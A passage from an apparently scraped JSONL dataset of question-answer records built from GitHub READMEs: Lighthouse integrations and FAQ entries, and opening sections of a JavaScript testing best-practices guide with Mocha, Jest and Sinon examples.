for executing and evaluating Google Chrome Lighthouse audit scores.\n* **[lighthouse-mocha-example](https://github.com/rishichawda/lighthouse-mocha-example)** - Run Lighthouse performance tests with Mocha and chrome-launcher.\n* **[lighthouse-monitor](https://github.com/verivox/lighthouse-monitor)** - Run Lighthouse against all your URLs. Send metrics to any backend you want, save all reports with automatic data retention, and compare any two results in a web UI.\n* **[lighthouse-persist](https://github.com/foo-software/lighthouse-persist)** - Run Lighthouse and upload HTML reports to an AWS S3 bucket.\n* **[lighthouse-viewer](https://github.com/dvelasquez/lighthouse-viewer/tree/main/packages/lighthouse-viewer)** - Render the Lighthouse JSON into a report, using the Lighthouse Report Renderer repackaged as UMD and ESM. Also available with React, Svelte and Vue wrappers.\n* **[lighthouse4u](https://github.com/godaddy/lighthouse4u)** - LH4U provides Google Lighthouse as a service, surfaced by both a friendly UI+API, and backed by Elastic Search for easy querying and visualization.\n* **[react-lighthouse-viewer](https://www.npmjs.com/package/react-lighthouse-viewer)** - Render a Lighthouse JSON report in a React Component.\n* **[site-audit-seo](https://github.com/viasite/site-audit-seo)** - CLI tool for SEO site audit, crawl site, lighthouse each page. Output to console and tables in csv, xlsx, json, web or Google Drive.\n* **[webpack-lighthouse-plugin](https://github.com/addyosmani/webpack-lighthouse-plugin)** - Run Lighthouse from a Webpack build.\n* **[cypress-audit](https://github.com/mfrachet/cypress-audit)** - Run Lighthouse and Pa11y audits directly in your E2E test suites.\n* **[laravel-lighthouse](https://github.com/adityadees/laravel-lighthouse)** - Google Lighthouse wrapper for laravel framework to run Google Lighthouse CLI with custom option and can automatically save result in your server directory.\n* **[Neodymium](https://g", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.794037"}
{"id": "gh_7680528da710", "question": "How to: How does Lighthouse work?", "question_body": "About GoogleChrome/lighthouse", "answer": "See [Lighthouse Architecture](./docs/architecture.md).", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.794043"}
{"id": "gh_be787bca9021", "question": "How to: Why is the performance score so low? It looks fine to me.", "question_body": "About GoogleChrome/lighthouse", "answer": "Lighthouse reports the performance metrics as they would be experienced by a typical mobile user on a 4G connection and a mid-tier ~$200 phone. Even if it loads quickly on your device and network, users in other environments will experience the site very differently.\n\nRead more in our [guide to throttling](./docs/throttling.md).", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.794049"}
{"id": "gh_a12246f0d6c6", "question": "How to: Why does the performance score change so much?", "question_body": "About GoogleChrome/lighthouse", "answer": "Lighthouse performance scores will change due to inherent variability in web and network technologies, even if there hasn't been a code change. Test in consistent environments, run Lighthouse multiple times, and beware of variability before drawing conclusions about a performance-impacting change.\n\nRead more in our [guide to reducing variability](./docs/variability.md).", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.794055"}
{"id": "gh_f6383af940b1", "question": "How to: Can I configure the lighthouse run?", "question_body": "About GoogleChrome/lighthouse", "answer": "Yes! Details in [Lighthouse configuration](./docs/configuration.md).", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.794060"}
{"id": "gh_d764ac7ce505", "question": "How to: How does Lighthouse use network throttling, and how can I make it better?", "question_body": "About GoogleChrome/lighthouse", "answer": "Good question. Network and CPU throttling are applied by default in a Lighthouse run. The network\nattempts to emulate slow 4G connectivity and the CPU is slowed down 4x from your machine's default speed. If you\nprefer to run Lighthouse without throttling, you'll have to use the CLI and disable it with the\n`--throttling.*` flags mentioned above.\n\nRead more in our [guide to network throttling](./docs/throttling.md).", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.794066"}
{"id": "gh_500580b6aafd", "question": "How to: Are results sent to a remote server?", "question_body": "About GoogleChrome/lighthouse", "answer": "Nope. Lighthouse runs locally, auditing a page using a local version of the Chrome browser installed on the\nmachine. Report results are never processed or beaconed to a remote server.", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.794072"}
{"id": "gh_80d158f96486", "question": "How to: How do I get localized Lighthouse results via the CLI?", "question_body": "About GoogleChrome/lighthouse", "answer": "Starting in Lighthouse 8.0, Lighthouse relies entirely on native `Intl` support and no longer uses an `Intl` polyfill. If you're using Node 14 or later, there should be no issue because Node is now [built with `full-icu` by default](https://nodejs.medium.com/node-js-12-to-lts-and-node-js-13-is-here-e28d6a4a2bd#9514).\n\nHowever, if you're using a `small-icu` Node build, you may see Lighthouse log messages about your locale not being available. To remedy this, you can manually install ICU data by using the [`full-icu`](https://www.npmjs.com/package/full-icu) module and the [`--icu-data-dir` node flag](https://nodejs.org/api/intl.html#intl_providing_icu_data_at_runtime) at launch.", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.794078"}
{"id": "gh_2c96678839e9", "question": "How to: How do I author custom audits to extend Lighthouse?", "question_body": "About GoogleChrome/lighthouse", "answer": "> **Tip**: see [Lighthouse Architecture](./docs/architecture.md) for more information\non terminology and architecture.\n\nLighthouse can be extended to run custom audits and gatherers that you author.\nThis is great if you're already tracking performance metrics in your site and\nwant to surface those metrics within a Lighthouse report.\n\nIf you're interested in running your own custom audits, check out our\n[Custom Audit Example](./docs/recipes/custom-audit) over in recipes.", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.794085"}
{"id": "gh_81008887fc8c", "question": "How to: How do I contribute?", "question_body": "About GoogleChrome/lighthouse", "answer": "We'd love help writing audits, fixing bugs, and making the tool more useful!\nSee [Contributing](./CONTRIBUTING.md) to get started.\n\n---\nLighthouse\n, ˈlītˌhous (n): a\ntower or other structure\ntool containing a beacon light\n  to warn or guide\nships at sea\ndevelopers.", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.794093"}
{"id": "gh_d8df84cbf089", "question": "How to: 📗 50+ best practices: Super-comprehensive and exhaustive", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "This is a guide for JavaScript & Node.js reliability from A-Z. It summarizes and curates for you dozens of the best blog posts, books, and tools the market has to offer", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060715"}
{"id": "gh_edf4274a392c", "question": "How to: 🚢 Advanced: Goes 10,000 miles beyond the basics", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "Hop into a journey that travels way beyond the basics into advanced topics like testing in production, mutation testing, property-based testing, and many other strategic & professional tools. Should you read every word in this guide your testing skills are likely to go way above the average", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060728"}
{"id": "gh_97f9feb0b39e", "question": "How to: 🌐 Full-stack: front, backend, CI, anything", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "Start by understanding the ubiquitous testing practices that are the foundation for any application tier. Then, delve into your area of choice: frontend/UI, backend, CI, or maybe all of them?", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060735"}
{"id": "gh_58fdaf443948", "question": "How to: Translations - read in your own language", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "- 🇨🇳[Chinese](readme-zh-CN.md) - Courtesy of [Yves yao](https://github.com/yvesyao)\n- 🇰🇷[Korean](readme.kr.md) - Courtesy of [Rain Byun](https://github.com/ragubyun)\n- 🇵🇱[Polish](readme-pl.md) - Courtesy of [Michal Biesiada](https://github.com/mbiesiad)\n- 🇪🇸[Spanish](readme-es.md) - Courtesy of [Miguel G. Sanguino](https://github.com/sanguino)\n- 🇧🇷[Portuguese-BR](readme-pt-br.md) - Courtesy of [Iago Angelim Costa Cavalcante](https://github.com/iagocavalcante) , [Douglas Mariano Valero](https://github.com/DouglasMV) and [koooge](https://github.com/koooge)\n- 🇫🇷[French](readme-fr.md) - Courtesy of [Mathilde El Mouktafi](https://github.com/mel-mouk)\n- 🇯🇵[Japanese (draft)](https://github.com/yuichkun/javascript-testing-best-practices/blob/master/readme-jp.md) - Courtesy of [Yuichi Yogo](https://github.com/yuichkun) and [ryo](https://github.com/kawamataryo)\n- 🇹🇼[Traditional Chinese](readme-zh-TW.md) - Courtesy of [Yubin Hsu](https://github.com/yubinTW)\n- 🇺🇦[Ukrainian](readme-ua.md) - Courtesy of [Serhii Shramko](https://github.com/Shramkoweb)\n- 🇮🇷[Persian](readme-pr-fr.md) - Courtesy of [Ali Azmoodeh](https://github.com/TREER00T)\n- 🇷🇺[Russian](readme-ru.md) - Courtesy of [Alex Popov](https://github.com/Saimon398)\n\n- Want to translate to your own language? please open an issue 💜", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060746"}
{"id": "gh_688df4ba397a", "question": "How to: `Table of Contents`", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "#### [`Section 0: The Golden Rule`](#section-0️⃣-the-golden-rule)\n\nA single advice that inspires all the others (1 special bullet)\n\n#### [`Section 1: The Test Anatomy`](#section-1-the-test-anatomy-1)\n\nThe foundation - structuring clean tests (12 bullets)\n\n#### [`Section 2: Backend`](#section-2️⃣-backend-testing)\n\nWriting backend and Microservices tests efficiently (13 bullets)\n\n#### [`Section 3: Frontend`](#section-3️⃣-frontend-testing)\n\nWriting tests for web UI including component and E2E tests (11 bullets)\n\n#### [`Section 4: Measuring Tests Effectiveness`](#section-4️⃣-measuring-test-effectiveness)\n\nWatching the watchman - measuring test quality (4 bullets)\n\n#### [`Section 5: Continuous Integration`](#section-5️⃣-ci-and-other-quality-measures)\n\nGuidelines for CI in the JS world (9 bullets)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060755"}
{"id": "gh_29e9556ce659", "question": "How to: ⚪️ 0 The Golden Rule: Design for lean testing", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:**\nTesting code is not production-code - Design it to be short, dead-simple, flat, and delightful to work with. One should look at a test and get the intent instantly.\n\nSee, our minds are already occupied with our main job - the production code. There is no 'headspace' for additional complexity. Should we try to squeeze yet another sus-system into our poor brain it will slow the team down which works against the reason we do testing. Practically this is where many teams just abandon testing.\n\nThe tests are an opportunity for something else - a friendly assistant, co-pilot, that delivers great value for a small investment. Science tells us that we have two brain systems: system 1 is used for effortless activities like driving a car on an empty road and system 2 is meant for complex and conscious operations like solving a math equation. Design your test for system 1, when looking at test code it should _feel_ as easy as modifying an HTML document and not like solving 2X(17 × 24).\n\nThis can be achieved by selectively cherry-picking techniques, tools, and test targets that are cost-effective and provide great ROI. Test only as much as needed, and strive to keep it nimble, sometimes it's even worth dropping some tests and trading reliability for agility and simplicity.\n\n![alt text](/assets/headspace.png \"We have no head room for additional complexity\")\n\nMost of the advice below are derivatives of this principle.", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060766"}
{"id": "gh_98a7f3d8ba1f", "question": "How to: ⚪ ️ 1.1 Include 3 parts in each test name", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** A test report should tell whether the current application revision satisfies the requirements for the people who are not necessarily familiar with the code: the tester, the DevOps engineer who is deploying and the future you two years from now. This can be achieved best if the tests speak at the requirements level and include 3 parts:\n\n(1) What is being tested? For example, the ProductsService.addNewProduct method\n\n(2) Under what circumstances and scenario? For example, no price is passed to the method\n\n(3) What is the expected result? For example, the new product is not approved\n❌ **Otherwise:** A deployment just failed, a test named “Add product” failed. Does this tell you what exactly is malfunctioning?\n**👇 Note:** Each bullet has code examples and sometime also an image illustration. Click to expand\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060777"}
{"id": "gh_fef19185b2f6", "question": "How to: :clap: Doing It Right Example: A test name that constitutes 3 parts", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔨%20Example%20using%20Mocha-blue.svg \"Using Mocha to illustrate the idea\")\n\n```javascript\n//1. unit under test\ndescribe('Products Service', function() {\n  describe('Add new product', function() {\n    //2. scenario and 3. expectation\n    it('When no price is specified, then the product status is pending approval', ()=> {\n      const newProduct = new ProductService().add(...);\n      expect(newProduct.status).to.equal('pendingApproval');\n    });\n  });\n});\n\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060785"}
{"id": "gh_8fbe977f2a14", "question": "How to: ⚪ ️ 1.2 Structure tests by the AAA pattern", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Structure your tests with 3 well-separated sections Arrange, Act & Assert (AAA). Following this structure guarantees that the reader spends no brain-CPU on understanding the test plan:\n\n1st A - Arrange: All the setup code to bring the system to the scenario the test aims to simulate. This might include instantiating the unit under test constructor, adding DB records, mocking/stubbing on objects, and any other preparation code\n\n2nd A - Act: Execute the unit under test. Usually 1 line of code\n\n3rd A - Assert: Ensure that the received value satisfies the expectation. Usually 1 line of code\n❌ **Otherwise:** Not only do you spend hours understanding the main code but what should have been the simplest part of the day (testing) stretches your brain\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060798"}
{"id": "gh_5d3ea0a3d2cb", "question": "How to: :clap: Doing It Right Example: A test structured with the AAA pattern", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20Jest-blue.svg \"Examples with Jest\") ![](https://img.shields.io/badge/🔧%20Example%20using%20Mocha-blue.svg \"Examples with Mocha\")\n\n```javascript\ndescribe(\"Customer classifier\", () => {\n  test(\"When customer spent more than 500$, should be classified as premium\", () => {\n    //Arrange\n    const customerToClassify = { spent: 505, joined: new Date(), id: 1 };\n    const DBStub = sinon.stub(dataAccess, \"getCustomer\").reply({ id: 1, classification: \"regular\" });\n\n    //Act\n    const receivedClassification = customerClassifier.classifyCustomer(customerToClassify);\n\n    //Assert\n    expect(receivedClassification).toMatch(\"premium\");\n  });\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060806"}
{"id": "gh_57c15766ff7c", "question": "How to: :thumbsdown: Anti-Pattern Example: No separation, one bulk, harder to interpret", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\ntest(\"Should be classified as premium\", () => {\n  const customerToClassify = { spent: 505, joined: new Date(), id: 1 };\n  const DBStub = sinon.stub(dataAccess, \"getCustomer\").reply({ id: 1, classification: \"regular\" });\n  const receivedClassification = customerClassifier.classifyCustomer(customerToClassify);\n  expect(receivedClassification).toMatch(\"premium\");\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060811"}
{"id": "gh_31fa2ef8342a", "question": "How to: ⚪ ️1.3 Describe expectations in a product language: use BDD-style assertions", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Coding your tests in a declarative-style allows the reader to get the grab instantly without spending even a single brain-CPU cycle. When you write imperative code that is packed with conditional logic, the reader is forced to exert more brain-CPU cycles. In that case, code the expectation in a human-like language, declarative BDD style using `expect` or `should` and not using custom code. If Chai & Jest doesn't include the desired assertion and it’s highly repeatable, consider [extending Jest matcher (Jest)](https://jestjs.io/docs/en/expect#expectextendmatchers) or writing a [custom Chai plugin](https://www.chaijs.com/guide/plugins/)\n❌ **Otherwise:** The team will write less tests and decorate the annoying ones with .skip()\n✏\nCode Examples\n![](https://img.shields.io/badge/🔧%20Example%20using%20Mocha-blue.svg \"Examples with Mocha & Chai\") ![](https://img.shields.io/badge/🔧%20Example%20using%20Jest-blue.svg \"Examples with Jest\")", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060820"}
{"id": "gh_9aecb8220fd6", "question": "How to: :thumbsdown: Anti-Pattern Example: The reader must skim through not so short, and imperative code just to get the test story", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\ntest(\"When asking for an admin, ensure only ordered admins in results\", () => {\n  //assuming we've added here two admins \"admin1\", \"admin2\" and \"user1\"\n  const allAdmins = getUsers({ adminOnly: true });\n\n  let admin1Found,\n    adming2Found = false;\n\n  allAdmins.forEach(aSingleUser => {\n    if (aSingleUser === \"user1\") {\n      assert.notEqual(aSingleUser, \"user1\", \"A user was found and not admin\");\n    }\n    if (aSingleUser === \"admin1\") {\n      admin1Found = true;\n    }\n    if (aSingleUser === \"admin2\") {\n      admin2Found = true;\n    }\n  });\n\n  if (!admin1Found || !admin2Found) {\n    throw new Error(\"Not all admins were returned\");\n  }\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060827"}
{"id": "gh_d57556c2ee37", "question": "How to: :clap: Doing It Right Example: Skimming through the following declarative test is a breeze", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\nit(\"When asking for an admin, ensure only ordered admins in results\", () => {\n  //assuming we've added here two admins\n  const allAdmins = getUsers({ adminOnly: true });\n\n  expect(allAdmins)\n    .to.include.ordered.members([\"admin1\", \"admin2\"])\n    .but.not.include.ordered.members([\"user1\"]);\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060833"}
{"id": "gh_c112c79b4449", "question": "How to: ⚪ ️ 1.4 Stick to black-box testing: Test only public methods", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Testing the internals brings huge overhead for almost nothing. If your code/API delivers the right results, should you really invest your next 3 hours in testing HOW it worked internally and then maintain these fragile tests? Whenever a public behavior is checked, the private implementation is also implicitly tested and your tests will break only if there is a certain problem (e.g. wrong output). This approach is also referred to as `behavioral testing`. On the other side, should you test the internals (white box approach) — your focus shifts from planning the component outcome to nitty-gritty details and your test might break because of minor code refactors although the results are fine - this dramatically increases the maintenance burden\n❌ **Otherwise:** Your tests behave like the [boy who cried wolf](https://en.wikipedia.org/wiki/The_Boy_Who_Cried_Wolf): shouting false-positive cries (e.g., A test fails because a private variable name was changed). Unsurprisingly, people will soon start to ignore the CI notifications until someday, a real bug gets ignored…\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060841"}
{"id": "gh_8ce4dba31722", "question": "How to: :thumbsdown: Anti-Pattern Example: A test case is testing the internals for no good reason", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20Mocha-blue.svg \"Examples with Mocha & Chai\")\n\n```javascript\nclass ProductService {\n  //this method is only used internally\n  //Change this name will make the tests fail\n  calculateVATAdd(priceWithoutVAT) {\n    return { finalPrice: priceWithoutVAT * 1.2 };\n    //Change the result format or key name above will make the tests fail\n  }\n  //public method\n  getPrice(productId) {\n    const desiredProduct = DB.getProduct(productId);\n    const finalPrice = this.calculateVATAdd(desiredProduct.price).finalPrice;\n    return finalPrice;\n  }\n}\n\nit(\"White-box test: When the internal methods get 0 vat, it return 0 response\", async () => {\n  //There's no requirement to allow users to calculate the VAT, only show the final price. Nevertheless we falsely insist here to test the class internals\n  expect(new ProductService().calculateVATAdd(0).finalPrice).to.equal(0);\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060849"}
{"id": "gh_d432f6ea5f40", "question": "How to: ⚪ ️ ️1.5 Choose the right test doubles: Avoid mocks in favor of stubs and spies", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Test doubles are a necessary evil because they are coupled to the application internals, yet some provide immense value (\n[Read here a reminder about test doubles: mocks vs stubs vs spies](https://martinfowler.com/articles/mocksArentStubs.html)\n).\n\nBefore using test doubles, ask a very simple question: Do I use it to test functionality that appears, or could appear, in the requirements document? If not, it’s a white-box testing smell.\n\nFor example, if you want to test that your app behaves reasonably when the payment service is down, you might stub the payment service and trigger some ‘No Response’ return to ensure that the unit under test returns the right value. This checks our application behavior/response/outcome under certain scenarios. You might also use a spy to assert that an email was sent when that service is down — this is again a behavioral check which is likely to appear in a requirements doc (“Send an email if payment couldn’t be saved”). On the flip side, if you mock the Payment service and ensure that it was called with the right JavaScript types — then your test is focused on internal things that have nothing to do with the application functionality and are likely to change frequently\n❌ **Otherwise:** Any refactoring of code mandates searching for all the mocks in the code and updating accordingly. Tests become a burden rather than a helpful friend\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060858"}
{"id": "gh_272e17280f00", "question": "How to: :thumbsdown: Anti-pattern example: Mocks focus on the internals", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20Sinon-blue.svg \"Examples with Sinon\")\n\n```javascript\nit(\"When a valid product is about to be deleted, ensure data access DAL was called once, with the right product and right config\", async () => {\n  //Assume we already added a product\n  const dataAccessMock = sinon.mock(DAL);\n  //hmmm BAD: testing the internals is actually our main goal here, not just a side-effect\n  dataAccessMock\n    .expects(\"deleteProduct\")\n    .once()\n    .withArgs(DBConfig, theProductWeJustAdded, true, false);\n  new ProductService().deletePrice(theProductWeJustAdded);\n  dataAccessMock.verify();\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060865"}
{"id": "gh_d2fe7da4dcd3", "question": "How to: :clap:Doing It Right Example: spies are focused on testing the requirements but as a side-effect are unavoidably touching to the internals", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\nit(\"When a valid product is about to be deleted, ensure an email is sent\", async () => {\n  //Assume we already added here a product\n  const spy = sinon.spy(Emailer.prototype, \"sendEmail\");\n  new ProductService().deletePrice(theProductWeJustAdded);\n  //hmmm OK: we deal with internals? Yes, but as a side effect of testing the requirements (sending an email)\n  expect(spy.calledOnce).to.be.true;\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060871"}
{"id": "gh_061022fc5e71", "question": "How to: ⚪ ️1.6 Don’t “foo”, use realistic input data", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Often production bugs are revealed under some very specific and surprising input — the more realistic the test input is, the greater the chances are to catch bugs early. Use dedicated libraries like [Chance](https://github.com/chancejs/chancejs) or [Faker](https://www.npmjs.com/package/faker) to generate pseudo-real data that resembles the variety and form of production data. For example, such libraries can generate realistic phone numbers, usernames, credit cards, company names, and even ‘lorem ipsum’ text. You may also create some tests (on top of unit tests, not as a replacement) that randomize fakers' data to stretch your unit under test or even import real data from your production environment. Want to take it to the next level? See the next bullet (property-based testing).\n❌ **Otherwise:** All your development testing will falsely show green when you use synthetic inputs like “Foo”, but then production might turn red when a hacker passes-in a nasty string like “@3e2ddsf . ##’ 1 fdsfds . fds432 AAAA”\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060879"}
{"id": "gh_4a24e3d258a4", "question": "How to: :thumbsdown: Anti-Pattern Example: A test suite that passes due to non-realistic data", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20Jest-blue.svg \"Examples with Jest\")\n\n```javascript\nconst addProduct = (name, price) => {\n  const productNameRegexNoSpace = /^\\S*$/; //no white-space allowed\n\n  if (!productNameRegexNoSpace.test(name)) return false; //this path never reached due to dull input\n\n  //some logic here\n  return true;\n};\n\ntest(\"Wrong: When adding new product with valid properties, get successful confirmation\", async () => {\n  //The string \"Foo\" which is used in all tests never triggers a false result\n  const addProductResult = addProduct(\"Foo\", 5);\n  expect(addProductResult).toBe(true);\n  //Positive-false: the operation succeeded because we never tried with long\n  //product name including spaces\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060887"}
